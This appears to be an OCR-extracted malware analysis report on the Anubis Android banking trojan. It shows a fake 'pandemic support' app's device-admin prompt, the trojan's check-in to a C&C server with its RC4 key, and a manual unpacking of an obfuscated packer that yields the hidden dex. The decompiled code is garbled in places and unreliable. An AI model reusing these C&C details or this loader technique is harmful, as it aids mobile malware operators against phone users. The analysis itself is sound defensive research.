Switch Access

Enable Destek Paketinizi Aktiflestiriniz
TalkBack

Text-to-speech output
SCREEN READERS

Display
Text-to-speech output
Font size
Default
) Display size
Enable 'Destek Paketinizi Aktiflestiriniz Default
-_ NA_ e e

€c



Dynamic Analysis

W4 4455

Activate device admin app?

DestekPaketi

Use Destek Paketinizi

Aktiflestiriniz?
tiflestiriniz Activating this admin app will allow

Destek Paketinizi Aktiflestiriniz
needs to:

the app Her Aile’ye 2000TL Pandemi
Devlet Destegi! to perform the following
operations:

* Observe your actions Erase all data

Receive notifications when you're E he phone's d ith ina b
interacting with an app. rase the phone's data without warning by
performing a factory data reset.

Retrieve window content Lock th
Inspect the content of a window you're Coc o e Sczeehn . ek
interacting with. ontrol how and when the screen locks.

Activate this device admin app
CANCEL OK

Cancel

Uninstall app

Let's give all permissions and examine what Anubis sent to
C&C. Since our C&C Panel is not active during the analysis
process, Anubis cannot receive any response from the C&C

Panel.

Deshbosrdl  Target  Proxy  Intruder  Repeater  Seguencer  Decoder  Comparer  Logger  Extender  Projectoptions  Useroptions  Learn
Intercept  HTTP history  WebSocketshistory  Options
Filter: Hiding CSS, image and general binary content
# Host Method URL Params  Editer  Status  Length MIMEtype Extension Title Comment s 3 Cookies Time Listener port
18 https/10747282416 POST  //gatephp v HTML ph 10747282416 184133 26 A, 8080
Request

ety [l Hex w0 (=

1 POST f/gate.php HTTP1.1

2 Content-Length: 200

3 Content-Type: application/x-www-form-urlencoded

4 User-Agent: Dalvik/2.1.@ (Linux; U; Android 8.0.0; unknown Build/OPR6.170623.017)

5 Host: 107.172.82.116

6 Connection: close

7 Accept-Encoding: gzip, deflate

8

9 action=botcheck&data=Y214MGQ3NTBhZNXYM)iNWYZMZdhNDQWYmMXOG J10GYMY jUwM] AXZDMAZD11MZE2MDAKMTFiNWMZ
16 MMQxYTgyYzViNjdi0TUnYQyNWNNOGUIHWERYTcyODFi0TIxZTg4ZDhn2TkS2GQ2YZViZiNj Y22i

11 0TNjODC QOYTgSZGMIMZCyY2FhZT T12Tg3YzUwYzkzYZE4MDAZ

12 NGNMYNQ4YmQxY2TxZTVhMz11iNDAGNTTSMZBmZ Qw2 TLhMHY2NGQy N3 EXONZ]YZU30DA10WQOMNMw

12 NzFjMGEIMDFhYThkMz1hYZBhOT1ANGNKY TgyNjkuMGIxMTY IMMQWZ] Y xNnM10GT 3NZM3ZDEKODJm

14 ZWURYWESYWQLYjUZNDNNZGIZNzhnZ TkzZDgxYmY 0TEZFhZmU1Y2QwY 2VhHmY 1YTCOMGVKZDRE

15 NTNANDQ3MmYZZWQyNzg4ZDASN] ExY]gwODM2MGNNM j Q4Zm J1ZDE3ZDUYOTAIOWM3NN 1 ZNMS N QL

16 MTZKMTKZOTAYY2MyYZQxNzB106U4Z1kONDLLYTQUNDCONGHZNDI3NUY 1Y TASY JM2ZTgWZ ThwHGM1

17 ZjdkMDIxY ] c20GI4Y] c4MZE2Y] gSMmViNNQOZ g30TELOTQOYWEAN] Y yNGYKY2Uy Y QamM2TyZTh]

18 YZYSM2I40TR] OGZMOGE3M2I2ZmR1ZTIKNTAWEYSHTAMTNMM ] KOMjMXOTQZOG 1YMUBMTHY NDAW

19 N2Z1ZWFm

20

ttps¥it.me/léarningnets

ve



Dynamic Analysis

We talked about the JSON files created during the initialization
phase in static analysis. Another detail | noticed during the
static analysis was that Anubis encrypts the JSON files it
prepares to send to the C&C Panel using Base64 and RC4. But
| thought it would be more accurate to mention this part here.
Let's see what kind of code block Anubis uses for this process.

Usage search

Usage for: @ parrotskifrog.ab
Node Code

® parrot.ski.frog.a import parrot.ski.frog.a.b;
@ parrot.ski.frog.a.a(5tring) String return new String(new b(str.substring(®, 12).getBytes()).a(b(new string(
® parrot.ski.frog.a.b public class b {
® parrot.ski.frog.b.a import parrot.ski.frog.a.b;
@ parrot.ski.frog.b.a.c(String, String) Stri...| return new String(new b(str2.getBytes()).a(b(new String(Bzse&4.decode(st
@ parrot.ski.frog.b.a.b(5tring, String) Stri...| return Bzsec4.encodeToString(a(new b(str2.getBytes()).b(str.getBytes()))
4] i C

<= | -> Showing results 1to6of 6

When | looked at the places where the RC4 implementation in
the application is used, | noticed that it is used in an additional
place, not just for hard-coded strings. Then | started to examine
this structure.

https://t.mellgarni

G¢
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Dynamic Analysis

2 hic.json Gb X [ Oa X |
¢ @ source code e ——— = =
- it 352 for (int i - 0; i < length; i = 2) ( 2]
# @ parrot. ski. frog bATT(i / 2] = (byte) ((Character.digit(str.charAt(i), 16) << 4) + Character.digit(str.charAt(i + 1), 16));
a N
~®a 3 return bArz;
~0hb )
v @b 3
“®a public String c(Context context) (
N 3 Intent registerReceiver - context.registerReceiver(null, new IntentFilter(this.a.al));
3 Teturn string.valueof (Math. Tound( (((float) registerReceiver.getIntextra(this.a.am, -1)) / ((float) registerReceiver.getintextra(this.a.an, -1))) * 100.0f));
¢ @ cpdlloupctbwrbvi pooy BN

= © usqggyaguygwa

¢ 8@ crytmicioeczjrnm c(Context context, String str) {
~Qa 4 42 = dcontext, this.a.d);
+® bnff 3 a("Connect”, " + d2);
L parrot.ski.frog.a.a aVar - new parrot.ski.frog.a.a();
© brgrmevyu 367 Teturn avar.a(d2 + this.a.aR, str);
¢ & ekiwugagitoxba 8 N
& @ mctbdwzairkewx 3
> @ ortcmw public < str) (
+® ufnrogbu 37 return b(str, this.a.a8);
= © voev y
> © wlarh public St ng str, String str2) {|
8 qupyv Gyl
& © bepvl 3 return n (new b(str2.getBytes()).a(b(new Strin: decode(str, ), this.a.a)))));
) catch (Exc unused) {

> @ gstmzijgp 3
> © latrgzbxy
= ©® qevy
~® ynbnuiveztazn
> © zjwewxfun
> © zshpflsiuluolw
*@a 384 tring d2 - d(context, str);
> @ pbh if (d2.dsEmpty()) {
> @ pesources JSONObject jSONObject = new JSONObject (d2);
JSONObject jSONObject2 = new JSONObject(str2);
string string - jSONObject.getstring(this.a.bo);
string2 = jSONObject.getString(this.a.bb);
3 tring string3 - jSONObject2.getString(this.a.bb);
ng str3 - this.a.dq;
a(str3, this.a.a0 + string);
tring stra = this.a.dr;
" a(stra, this.a.a0 + string3);
JSONObject a = a(new JSONObject(string), new JSONObject(string3));
JSONObject jSONObject3 = new JSONObject():
307 jsoNObject3. put (this.a.bc, string2);
jSONObject3.put (this.a.bb, a.tostring()):
a(this.a.ds, jSONObject3. tostring());

return this.a.a0;
L]
|

public void c(Context context, String str, String str2) {
try ¢

<
Code [ smali

Do you think it is a coincidence that it is so close to JSON data :D
? As we can see the function takes 2 Strings (str,str2). While str2 is
used as encryption key, str has data in JSON format.

Usage for: @ parrot.ski.frog.b.a.c(String, String) String

Node Code
® parrot.ski.frog.b.a.d(String) String
® parrot.ski.frog.b.a.c(String, String) String

.aB = CRViysGgKztbi
¢

str2)

Request
Encryption RC4
Key =
CRViysGgKzt6i

Showing results 1to 2 of 2

Recipe BB F  inpu + O § &=
Y2T4MGQ3NTBhZWQXYmJiNWY2MzdhNDQWYmMXOGJ LOGVIMY UM j AxZDMAZD1 LMZE 2MDAKMTF i NWMz
(Fove =2 MWQXYTgyYzViNjdi0TUwYjQyNWNmOGUIMWEZYTcyODF10TIXZTg4ZDhmz Tk5ZGQ2Y2ViZ NI Y2Zi
O OTN]ODCSMIEYNDRhNZMZZGQBYTg5ZGM3HZCy Y2FhZTVIMDQXOGMXMDT1ZTg3Y zUnYzkzYZEAMDAZ
A-Za-z0-9+/= ~ NGNMYWQAYmQXY2IxZTVhMz LiNDAGNTI5MZBmZWQuZT LhMWY2NGQyN]EXOWZ Y zU30DA10WQOMAMr

NzF JMGEIMDFhYThkMz LhYzBhOT ThNGNKYTgyNj kwMGIxMTY1MmQwZ jYxNmM10GI3NzM3ZDBkODJm
ZWUBYWESYWQ1Y jUzZNDNmZGIzNzhmZTkzZDgxYmVjOTEAZ] FhZmU1YZQwY 2VhMmY1YTcOMGYKZDR1
Remove non-alphabet chars NTNhNDQ3MmYzZWQyNzg4ZDASN EXY j gWODMZMGNNM]Q4ZmJ1ZDE3ZDUYOTd10WM3NWI 1ZmM5NI Q1
MTZKMTkzZOTAYY2MyYzQxNzBi0GUAZjKONDL1YTQWNDCONGMZNDIINWY 1YTA3Y jM2ZTgzZWIWMGML
Z3dKMDIXY]c20614YjcaMZc2Y]g5SMmViNWQEZ] g30TELOTQ@YWEAN] YYNGVKY 2UyYjQamM2IyZTh]
YzY5M2I40TRIOGZMOGE3M2I2ZMRIZT IKNTAWZ] YSMTA3MTNMMjkOM]MX0TQZOGI LYmMUOMTMYNDAW

RC4
N2Z1ZWFm
Paii‘&_\ﬂ ase | .
CRViysGgKztei UTF8
Input format Output format
Hex UTF8
Output €3

', "number":"", "statAdmin":" "statProtect":"2", "statScreen 1", "statAcc
"statBanks":"@","statMails":"@", "activeDevice":"0", "timewWorking":"14
8", "locale":"en"}

{"id":"75snseqva8bb68i1f", "idSettings"
essibilty":"1", "statsMs" , 'statCards
4", "statDownloadModule": , "batterylLeve




Manual Unpacking

At the beginning of our report, we mentioned that the sample
we examined loads a class in runtime. We hooked the
"DexClassLoader" function to find this loaded class. But we
can also do this manually. In this way, we will discover how
packers, which are used extensively in the Android Malware
world, do this job. First, let's look at our
"AndroidManifest.xml" file.

LC



Manual Unpacking

As we can see, all activities including MAIN are called under
the "parrot" package, but we don't have the "parrot"
package in sight. How is this possible?

This packer, which is widely used among Android Malwares,

loads all the lost classes by using the class under the application
tag.

Although it appears to be full of classes that we do not have,

we actually have the first class that runs and takes on the
unpacking task.

pigeon.theme.earth.IU

hUKAKGfQxFbEwMIiUt

WuluBrReSmPjPqQEIW
kAcJiSq

8¢



The function 2 above the attachBaseContext function is the
unpack function used in this common packer :D

In addition, in this common packer type, the
"PPpYrMnQwArZgXpLINsN;j" variable | marked in the image
above contains the name of the file to be decrypted.

© IUhUkAKGTQxFbEwMiUtWuTIuBrReSmPjPqEiWkAcJiSg
Findja
package pigeon.theme.earth:

android.

141 jpublic

yIdQpsSm EToKgPuNtyuKj

protected int EeOXtqDQJFuYfwSh_127:
private float Fn
private final ch
protected final
public final double k
public double Lblkwg
Context MTrHbZdw
protected final
protected long 0ZnYedfsulup

PPpYTMNOWATZqXpLINSN]
GQoGw
protected short RoLPfM
public boole:
protected lon

private lon

public doub.

private final short xIM
private by tRi

private final boo

private int aGtHgx:
protected b

protected int cPzu

public byte fcSq

public char fxCsilLpmETrtNIMus_
protected 10CMiLPOX
private double jETrAINul
public int kgGbDkbDGT1J1|
protected int nTMpT
protected long oXHdhIUnlpRof
protected final b )

return new

BTyRtY1OwIxDyDkZpNcJpLhUuTwNtNnR1WtUkCxXjGbIzP1RZPZ

I Previous | Next Mark All Regex Matc!

Jisq extends Applic

iflower().to

InPpMhCzGglLtOe = new GQoGwKaRnYnOjYaImSiKnQdRuDgFgXbPthwScGl

String();

outsidesystem|[)] ¢
(indexdebate() ) ;

i F F P
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public static
i = 288;
(int i2 = @;
i = -4891620;

Eyte[] bArr =
int i3 =

{77

208197083 ;

hndexdebate[] {

int i4 = (i - 1053800936) + 208197083;

byte[] bArr2z =
if
i i4 62)

byte[] bArr3

int i5 = i4;

for (int i6 = @; i6
i5 = 208197083

(208197083 <= 1i5)
-1800597581

- 2@3499)

int

while (i8 < 8)
int i9 =
int il1e =
int i11 = (
bArr2[ig8]
iB++;
is =

ile - i9)
= (byte)

"fBl’

return new (bATT2):

Egq.png
B gr.png
[B groundsquare_17_2_@@1-hd.png
[ groundsquare_17_2_001.png
B grs_sdk_global_route_config_apptouchupdat
[ grs_sdk_global_route_config_opendevicesdy
B grs_sdk_global_route_config_opensdksexrvi
B grs_sdk_global_route_config_updatesdk. jsq
[ grs_sdk_server_config.json
B grs_sp.bks
B gt.png
B gw.png
Bgy-png
B hianalytics_njjn
Q1eGet02 . 0gg
= ~mrrstbr
B jquery-resizable.min.js
B keyEffect.plist
B libwbsafeedit_64
B libwbsafeedit_x86
B libwbsafeedit_x86_64
B 1k.png
B load_page_metrics.js
B localinfo
E loggers.config
B loggers.debug.config
B offlinepng.png
B om.png
E onboarding_web.htnl
[B oPENLCS. js
[ quitSound_01.0gg
B rewarde1.ogg
B ringeffect.plist
[ seaxch_autocomplete. js
B secretkey.ogg
[ Secretsheet-hd.plist
[ secretSheet.plist
B shipbrageffect.plist
B Skull_w_01.plist
B skull_w_02.plist
B skull_w_03.plist
B sliderBar-hd.png
B slidersar.png

i5 - 911530;
494978 + i9;

new byte[s];

- 208197083;

i7++)

29:;

124898;

bArr[i8])

filename.py  Name of Encryted Dex
= hLc.json

Findiattac

Code

<

Smali

JPQEINKACIiSq X | © BTyRtY1OWIXDyDKZpNcJpLhUUTWNENNRIWEUKCXXjGbIzP1RZPZ

is
i5 = i11;
for (int i12

0; 112 < 29;

return new (bATT2) ;

ic static

int i = 288;

for (int i2 = o;
-4891620;

indexdebate ()
i2 < 7; i2+4) ¢
i-

byte[] bArr -
int i3 - 208107083;
int i4 = (i - 1053800036) + 208197083;
byte[] bArr2 - new byte[s];
if (i < 100) {

i ((i4 - 17) + 62) - 208197083;

byte[] bArr3 = (37);
int i5 = i4;
for (int i6

is =

= 0: i6 < 10; i6++) {
208197083 - (i / 7);

if (208197083 <= i5) (

i= -1800507581 - is;

int i1
int i11
bATT2[i8]
i8++;

= (byte) ( i10) - 1) + bATT[i8]) + ((ill - i9) * @)) + ((i9 / i9) % 1))

is = i11;
for

(int 112 = 0; i12 <

return new (bATT2) ;

% 1)) ™ bArr3[i8 * 1]);

I Previous I Next []MarkAll []Regex []Match Case

bATT3[i8 % 11);

Whole word %




Manual Unpacking

RC4 is used when decrypting the class to be loaded in this
packer type. So it's time to find the RC4 key. When we go to
the class with the "liftnorth" function, our goal is to find the
RC4 implementation waiting for us. It would be a reasonable
idea to call "256%" for this, but it tried to hide this process
with a variable that holds 256 in the sample we examined.

© TUhUKAKGTQXFbEWMiUtWUTuBXReSmPjPEIWKACJiSq ¢ | © BTYREY1OWIxDyDkZpNcJpLhUuTWNtNNRIWtUKCXXjGbIzP1RZPZ

Find: I Previous | Next []MarkAll []Regex []MatchCase []Wholeword X
cefamily, this.DFi SaTkUT B0x] c

for (int ia
JD0s0go 1tPHNI1F
BUtBqHbBeP: y U - (BWtBQWbBePyFmBUOGFTTI0bT

- this.Nyslumz

DgOiXgNHSKENTUZNpC]
BapibBe PyFMBUOGF T jObT:

501411) ;

+i8) - 414781;

11D050go1tPUN1F

code [ smali

public class PackageUtils {
public static final int

public static fipmal int

public static final int INSTALL_E

public static final int INSTALL_FAILE

public static finmal int INSTALL_FORWA CK = 1:

public static final int [[NSTALL_GRANT_RUNTIME_PERMISSIONS
public static final int INSTALL_INTERNAL = 16;

public static final int INSTALL_REPLACE_E>

public static fimal int INSTALL_SUCCEEDED = 1;

public interface InstallObserver
void onPackageInstalled|

LE



Manual Unpacking

The integer array built before the "for" loop starts contains
our decryption key.

this.csFilDosOgoltPWmlFSZxj_936598 = this.NYSlWmZgoeQyAOclaHUilLQ 654897 + (this.InGruiFxQpdWrErCBJUNUX_ 448383 * 793155);

byte[] bArr2 = (byte[]) sausagebrother('h’', 50008, 56, nfficsfamilyzl th:i.s.DPquDpAoSaIkUrJkaYanDxNgTchRdLnSquMuSdDm,I null);
for (int i2 = @; i2 < 7; i2++) {
this.InGruiFxQpdWrErCBJUNUX_440303 = (this.csFiJDosOgoltPWmlFSZxj_936598 - 177542) + (this.NYSlWmZgoeQyAOclaHUilQ_ 654897 / 413410);

}
YEkSzXc0eBwGpGxMnCbMnIdTeQkWxGcHaWp InFeEbKs = dstsctcute
this.csFiJDosOgoltPWmlFSZxj_936598 = ((this.NySlwWmZgoeQyAOclaHUiLQ_654897 * 2787257) - 1384751) + this.InGruiFxQpdWrErCBJUNUX_44@3@3;
byte[] bArr3 = new byte[((int) .floor((double) bArr.length))l;
this.NYS1WmZgoeQyAOclaHUiLQ_654897 = (this.csFilDosOgoltPWmlFSZxj_936598 * this.InGruiFxQpdWrEICBJUNUX_44@303) - 60;
[EEE TAzr) YEkSzXcOeBwGpGXMNCbMNIdTeQkWxGCHaWpInFeEbKs ;|
for (int i3 = @; ((double) i3) < .ceil((double) bArr.length); i3++) {

for (int i4 = @; i4 < 9; i4++) {

this. InGruiFxQpdWrErCBJUNUX_440303 = (this.csFilDosOgoltPWmlFSZxj_936598 - 87) - (37 / this.NySlWmZgoeQyAOclaHUilLQ_654897);

BWtBqWbBePyFmBuOgFfTjObIxXeKyEkNzKiXgAcPu = (BWtBqWbBePyFmBuOgFfTjObIxXeKyEkNzKiXgAcPu + 1) % PackagelUtils.INSTALL_GRANT_RUNTIME_PERMISSIONS;
for (int i5 = @; i5 < 11; i5++) {
this.csFiJDosOgoltPWmlFSZxj_936598 = (1827519808 - this.NYSlWmZgoeQyAOclaHUilLQ 654897) - this.InGruiFxQpdWrErCBJUNUX_440303;

int i6 = LJjDgOiXgNdHsKtNrUaNpCjYeBbKwAxAdSzTwWMi;

int i7 = BWtBqWbBePyFmBuOgFfTjObIxXeKyEkNzKiXgAcPu;

LJjDg0iXgNdHsKtNIUaNpCjYeBbKwAxAdSzTwMi = (i6 + i1Arr[i7]) % PackageUtils.INSTALL_GRANT_RUNTIME_PERMISSIONS;
this.InGruiFxQpdWrErCBJUNUX_440303 = (this.NYSlWmZgoeQyAOclaHUiLQ_654897 - this.csFilDosOgoltPWmlFSZxj_936598) + 7908189;
leopardtoss(i7, LJjDgOiXgNdHsKtNIUaNpCjYeBbKwAxAdSzTwMi, iArr);

int i8 = this.InGruiFxQpdWrErCBJUNUX_440303;

this.csFilDosOgoltPWmlFSZxj_936598 = ((i8 / this.NYSlWmZgoeQyAOclaHUiLQ_654897) - 2108032) + 6026686;

int i9 = BWtBqWbBePyFmBuOgFfTjObIxXeKyEkNzKiXgAcPu;

this.NYSIWmZgoeQyAOclaHUilLQ_654897 = i8 - (this.csFiJDosOgoltPWmlFSZxj_936598 * 501411);

int 110 = LJjDgOiXgNdHsKtNrUaNpCjYeBbKuAxAdSzTwML ;

this.csFilDosOgoltPUmlFSZxj_936598 = ((this.NYSlWmZgoeQyAOclaHUiLQ_654897 / 528) + i8) - 414781;

int partyasset = partyasset('b’', 52 iArr, i9);

this.NYS1WmZgoeQyAOclaHUilQ 654897 = ((this.csFiJDosOgoltPWmlFSZxj_936598 / 9@) - 5) + this.InGruiFxQpdWrErCBJUNUX_440303;
int partyasset? = partyasset('z’', 1544545, iArr, il0):

this.csFilDosOgoltPWmlFSZxj_936598 = ((45923@ / this.NYS1WmZgoeQyAOclaHUilLQ 654897) - this.InGruiFxQpdWrETCBJUNUX_440303) + 784580
int partyasset3 = partyasset('w’', 1444, iArr, (partyasset + partyasset2) % PackageUtils.INSTALL_GRANT_RUNTIME_PERMISSIONS);
this.NYS1WmZgoeQyAOclaHUilQ_654897 = ((this.csFiJDosOgoltPWmlFSZxj_936598 * this.InGruiFxQpdWrErCBIUNUX_448383) + 68) - 64;
bArr3[i3] = snackcoil((new ((double) partyasset3).intvalue() + @) * bATr[i3]);

this.InGruiFxQpdWrErCBJUNUX_440303 = (16 - this.csFiJDosOgoltPWmlFSZxj_936598) + this.NySlwmZgoeQyADclaHUilLQ_654897;

package pigeon.theme.earth;

import android.content.Context;

import android.content.res.AssetManager;
import java.io. :
import java.io.

import java.io.

import java.io.

import java.io.

import java.io.

import java.io. ;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

import java.nio.channels.FileChannel;
import org.apache.http.HttpStatus:
import ru.yandex.yap.sysutils.PackageUtils;

public class BTyRtY1lOwIxDyDkZpNcJpLhUuTwNtNnRIWtUkCxXjGbIzP1RzPz {
static int BWtBqWbBePyFmBuOgFfTjObIxXeKyEkNzKiXgAcPu:
static int LJjDgoiXgNdHsKtNrUaNpCjYeBbKwAxAdSZTWMI
static int[] YEkSzXcOeBwGpGxMnCbMnIdTeQkWxGcHaWp InFeEbKs
protected final char AKiZeTiIwMInnhGoYXKFSA_113768 = "5 :

DPquDpAoSaIkUrJpkaoRmbhgTchRdLoSqmeuSdUm = decadeswing().toString();

public long DQjxaEFTMMMAJsbLTgmGilL_178765 = 8541;
private final byte DUctgBsggCFkPYaKOCEtdz_173244 = 24:
public int InGruiFxQpdwWrErCBJUNUX_44@303 = 1332;
protected int KRIwAOyQFIfrXRF1EfdUGo_157808 592;
private float KTPKBTRWKJIsTXYZwKIBHn_668569 26265.07;
protected int NYS1WmZgoeQyAOclaHUilLQ_654897
private long NbcOLcsZbjfXdTliljgPZy_795081
final int OYzFalUzXrDmXeQzSiUrNpKkIaPpRsLgDt
private char PpzbntcsGceIhOmFjdsLFp_7856@5




static
return new

decadeswing() {
(cupboardforest());

public static
int i = 288;
for (int i2 = 0;

-4891620;

upboardforest() {

i2 < 7;

i2++)
i =

byte[] bArr = {43,
int i3 = 208197083;
int i4 = (i - 1053800936) + 208197@83;
byte[] bArr2 - new byte[6];

if (i <= 100) {
((i4 -

14, 36, 24, @, 32};

is= 17) + 62) - 2088197083;

byte[] bArr3 = {77};

int i5 = i4;

for (int i6 = @; i6 <
i5 = 208197083 -

1@; i6++)
(17 7);
if (208197083 <= i5)

i = -18@@597581 - i5;
if (1 == i5) {
i3 = ((i5 - i) - 2@83499) - 124898;
i7
i3

for (int s i7+4)

i5 =
int ig = @;
while (ig < (
int i9 - i5 - 91153@:
int i10 = 494978 + i9;
int 111 = (i1@ - i9) + 61;
bArr2[i8] = (byte) ((((((ile
ig++;

= i11;

/ i1@) - 1) + bArr[i8]) + ((i11 - i9) = @)) + ((i9 / i9) % 1)) ™ bArr3[i8 % 1]);

for (int i12 = o:

return new

i12 < 29; i12++) {

(bArT2):

batul
FC1UMm
batuh

RC4 KEY FOR
LOADED CLASS =
fCiUMm

Recipe

RC4

Input forr
Latinl

Name: hLc json

Detect File Type Size: 607,320 bytes

Images

Type: applicationfjson

Video Audio

Loaded: 100%

Documents Applications Archives

Miscellaneous

time: ogms

Output

length: 136
ines: 5

File type:
Extension:
MIME type:
Description:

Dalvik Executable

dex

application/octet-stream

Dalvik Executable as used by Android

[ M|




h

Conclusion

Anubis is a malware that is worth examining in every aspect and is
really impressive, this application that harms tens of thousands of
android users with thousands of samples around the world, is a
source for future android malware. | hope you liked my report,
thanks for reading. If you have any question, feel free to ask me on
twitter @0x1c3N
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